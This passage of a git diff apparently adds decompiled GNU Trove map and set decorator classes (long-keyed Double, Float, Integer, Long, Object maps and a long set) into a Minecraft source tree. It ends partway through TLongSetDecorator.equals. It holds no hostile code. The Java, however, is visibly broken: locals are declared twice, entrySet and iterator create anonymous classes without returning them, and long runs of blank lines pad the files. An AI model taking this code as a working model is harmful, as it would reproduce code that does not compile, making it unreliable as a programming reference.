+    double v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    double retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Double get(Object key)
+  {
+    long k;
+    
+
+
+    if (key != null) { long k;
+      if ((key instanceof Long)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    double v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Double remove(Object key)
+  {
+    long k;
+    
+
+
+    if (key != null) { long k;
+      if ((key instanceof Long)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    double v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Long, Double>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TLongDoubleMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Long, Double>> iterator()
+      {
+        new Iterator() {
+          private final TLongDoubleIterator it = _map.iterator();
+          
+          public Map.Entry<Long, Double> next() {
+            it.advance();
+            final Long key = wrapKey(it.key());
+            final Double v = wrapValue(it.value());
+            new Map.Entry() {
+              private Double val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Long getKey()
+              {
+                return key;
+              }
+              
+              public Double getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Double setValue(Double value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Long, Double> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Long key = (Long)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Long, Double>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TLongDoubleMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Double)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Long)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Long, ? extends Double> map)
+  {
+    Iterator<? extends Map.Entry<? extends Long, ? extends Double>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Long, ? extends Double> e = (Map.Entry)it.next();
+      put((Long)e.getKey(), (Double)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Long wrapKey(long k)
+  {
+    return Long.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected long unwrapKey(Object key)
+  {
+    return ((Long)key).longValue();
+  }
+  
+
+
+
+
+
+
+  protected Double wrapValue(double k)
+  {
+    return Double.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected double unwrapValue(Object value)
+  {
+    return ((Double)value).doubleValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TLongDoubleMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TLongFloatMapDecorator.java b/src/minecraft/gnu/trove/decorator/TLongFloatMapDecorator.java
new file mode 100644
index 0000000..bb7d49d
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TLongFloatMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TLongFloatIterator;
+import gnu.trove.map.TLongFloatMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TLongFloatMapDecorator
+  extends AbstractMap<Long, Float>
+  implements Map<Long, Float>, Externalizable, Cloneable
+{
+  protected TLongFloatMap _map;
+  
+  public TLongFloatMapDecorator() {}
+  
+  public TLongFloatMapDecorator(TLongFloatMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TLongFloatMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Float put(Long key, Float value)
+  {
+    long k;
+    
+
+
+    long k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    float v;
+    float v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    float retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Float get(Object key)
+  {
+    long k;
+    
+
+
+    if (key != null) { long k;
+      if ((key instanceof Long)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    float v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Float remove(Object key)
+  {
+    long k;
+    
+
+
+    if (key != null) { long k;
+      if ((key instanceof Long)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    float v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Long, Float>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TLongFloatMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Long, Float>> iterator()
+      {
+        new Iterator() {
+          private final TLongFloatIterator it = _map.iterator();
+          
+          public Map.Entry<Long, Float> next() {
+            it.advance();
+            final Long key = wrapKey(it.key());
+            final Float v = wrapValue(it.value());
+            new Map.Entry() {
+              private Float val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Long getKey()
+              {
+                return key;
+              }
+              
+              public Float getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Float setValue(Float value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Long, Float> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Long key = (Long)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Long, Float>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TLongFloatMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Float)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Long)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Long, ? extends Float> map)
+  {
+    Iterator<? extends Map.Entry<? extends Long, ? extends Float>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Long, ? extends Float> e = (Map.Entry)it.next();
+      put((Long)e.getKey(), (Float)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Long wrapKey(long k)
+  {
+    return Long.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected long unwrapKey(Object key)
+  {
+    return ((Long)key).longValue();
+  }
+  
+
+
+
+
+
+
+  protected Float wrapValue(float k)
+  {
+    return Float.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected float unwrapValue(Object value)
+  {
+    return ((Float)value).floatValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TLongFloatMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TLongIntMapDecorator.java b/src/minecraft/gnu/trove/decorator/TLongIntMapDecorator.java
new file mode 100644
index 0000000..6031a6a
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TLongIntMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TLongIntIterator;
+import gnu.trove.map.TLongIntMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TLongIntMapDecorator
+  extends AbstractMap<Long, Integer>
+  implements Map<Long, Integer>, Externalizable, Cloneable
+{
+  protected TLongIntMap _map;
+  
+  public TLongIntMapDecorator() {}
+  
+  public TLongIntMapDecorator(TLongIntMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TLongIntMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Integer put(Long key, Integer value)
+  {
+    long k;
+    
+
+
+    long k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    int v;
+    int v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    int retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Integer get(Object key)
+  {
+    long k;
+    
+
+
+    if (key != null) { long k;
+      if ((key instanceof Long)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    int v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Integer remove(Object key)
+  {
+    long k;
+    
+
+
+    if (key != null) { long k;
+      if ((key instanceof Long)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    int v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Long, Integer>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TLongIntMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Long, Integer>> iterator()
+      {
+        new Iterator() {
+          private final TLongIntIterator it = _map.iterator();
+          
+          public Map.Entry<Long, Integer> next() {
+            it.advance();
+            final Long key = wrapKey(it.key());
+            final Integer v = wrapValue(it.value());
+            new Map.Entry() {
+              private Integer val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Long getKey()
+              {
+                return key;
+              }
+              
+              public Integer getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Integer setValue(Integer value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Long, Integer> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Long key = (Long)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Long, Integer>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TLongIntMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Integer)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Long)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Long, ? extends Integer> map)
+  {
+    Iterator<? extends Map.Entry<? extends Long, ? extends Integer>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Long, ? extends Integer> e = (Map.Entry)it.next();
+      put((Long)e.getKey(), (Integer)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Long wrapKey(long k)
+  {
+    return Long.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected long unwrapKey(Object key)
+  {
+    return ((Long)key).longValue();
+  }
+  
+
+
+
+
+
+
+  protected Integer wrapValue(int k)
+  {
+    return Integer.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected int unwrapValue(Object value)
+  {
+    return ((Integer)value).intValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TLongIntMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TLongLongMapDecorator.java b/src/minecraft/gnu/trove/decorator/TLongLongMapDecorator.java
new file mode 100644
index 0000000..c663226
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TLongLongMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TLongLongIterator;
+import gnu.trove.map.TLongLongMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TLongLongMapDecorator
+  extends AbstractMap<Long, Long>
+  implements Map<Long, Long>, Externalizable, Cloneable
+{
+  protected TLongLongMap _map;
+  
+  public TLongLongMapDecorator() {}
+  
+  public TLongLongMapDecorator(TLongLongMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TLongLongMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Long put(Long key, Long value)
+  {
+    long k;
+    
+
+
+    long k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    long v;
+    long v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    long retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Long get(Object key)
+  {
+    long k;
+    
+
+
+    if (key != null) { long k;
+      if ((key instanceof Long)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    long v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Long remove(Object key)
+  {
+    long k;
+    
+
+
+    if (key != null) { long k;
+      if ((key instanceof Long)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    long v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Long, Long>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TLongLongMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Long, Long>> iterator()
+      {
+        new Iterator() {
+          private final TLongLongIterator it = _map.iterator();
+          
+          public Map.Entry<Long, Long> next() {
+            it.advance();
+            final Long key = wrapKey(it.key());
+            final Long v = wrapValue(it.value());
+            new Map.Entry() {
+              private Long val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Long getKey()
+              {
+                return key;
+              }
+              
+              public Long getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Long setValue(Long value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Long, Long> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Long key = (Long)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Long, Long>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TLongLongMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Long)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Long)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Long, ? extends Long> map)
+  {
+    Iterator<? extends Map.Entry<? extends Long, ? extends Long>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Long, ? extends Long> e = (Map.Entry)it.next();
+      put((Long)e.getKey(), (Long)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Long wrapKey(long k)
+  {
+    return Long.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected long unwrapKey(Object key)
+  {
+    return ((Long)key).longValue();
+  }
+  
+
+
+
+
+
+
+  protected Long wrapValue(long k)
+  {
+    return Long.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected long unwrapValue(Object value)
+  {
+    return ((Long)value).longValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TLongLongMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TLongObjectMapDecorator.java b/src/minecraft/gnu/trove/decorator/TLongObjectMapDecorator.java
new file mode 100644
index 0000000..8c5e445
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TLongObjectMapDecorator.java
@@ -0,0 +1,353 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TLongObjectIterator;
+import gnu.trove.map.TLongObjectMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TLongObjectMapDecorator<V>
+  extends AbstractMap<Long, V>
+  implements Map<Long, V>, Externalizable, Cloneable
+{
+  protected TLongObjectMap<V> _map;
+  
+  public TLongObjectMapDecorator() {}
+  
+  public TLongObjectMapDecorator(TLongObjectMap<V> map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TLongObjectMap<V> getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public V put(Long key, V value)
+  {
+    long k;
+    
+
+    long k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else {
+      k = unwrapKey(key);
+    }
+    return _map.put(k, value);
+  }
+  
+
+
+
+  public V get(Object key)
+  {
+    long k;
+    
+
+
+    if (key != null) { long k;
+      if ((key instanceof Long)) {
+        k = unwrapKey((Long)key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    return _map.get(k);
+  }
+  
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public V remove(Object key)
+  {
+    long k;
+    
+
+
+    if (key != null) { long k;
+      if ((key instanceof Long)) {
+        k = unwrapKey((Long)key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    return _map.remove(k);
+  }
+  
+
+
+
+
+
+  public Set<Map.Entry<Long, V>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TLongObjectMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Long, V>> iterator()
+      {
+        new Iterator() {
+          private final TLongObjectIterator<V> it = _map.iterator();
+          
+          public Map.Entry<Long, V> next() {
+            it.advance();
+            final Long key = wrapKey(it.key());
+            final V v = it.value();
+            new Map.Entry() {
+              private V val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Long getKey()
+              {
+                return key;
+              }
+              
+              public V getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public V setValue(V value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Long, V> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Long key = (Long)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Long, V>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TLongObjectMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return _map.containsValue(val);
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Long)) && (_map.containsKey(((Long)key).longValue()));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Long, ? extends V> map)
+  {
+    Iterator<? extends Map.Entry<? extends Long, ? extends V>> it = map.entrySet().iterator();
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Long, ? extends V> e = (Map.Entry)it.next();
+      put((Long)e.getKey(), e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Long wrapKey(long k)
+  {
+    return Long.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected long unwrapKey(Long key)
+  {
+    return key.longValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+
+    _map = ((TLongObjectMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TLongSetDecorator.java b/src/minecraft/gnu/trove/decorator/TLongSetDecorator.java
new file mode 100644
index 0000000..dc5e6c3
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TLongSetDecorator.java
@@ -0,0 +1,218 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TLongIterator;
+import gnu.trove.set.TLongSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractSet;
+import java.util.Iterator;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TLongSetDecorator
+  extends AbstractSet<Long>
+  implements Set<Long>, Externalizable
+{
+  protected TLongSet _set;
+  
+  public TLongSetDecorator() {}
+  
+  public TLongSetDecorator(TLongSet set)
+  {
+    _set = set;
+  }
+  
+
+
+
+
+
+  public TLongSet getSet()
+  {
+    return _set;
+  }
+  
+
+
+
+
+
+  public boolean add(Long value)
+  {
+    return (value != null) && (_set.add(value.longValue()));
+  }
+  
+
+
+
+
+
+
+
+  public boolean equals(Object other)
+  {
+    if (_set.equals(other))
+      return true;
+    if ((other instanceof Set)) {
+      Set that = (Set)other;
+      if (that.size() != _set.size()) {
+        return false;
+      }
+      Iterator it = that.iterator();
+      for (int i = that.size(); i-- > 0;) {
+        Object val = it.next();
+        if ((val instanceof Long)) {
+          long v = ((Long)val).longValue();
+          if (!_set.contains(v))
+          {
+
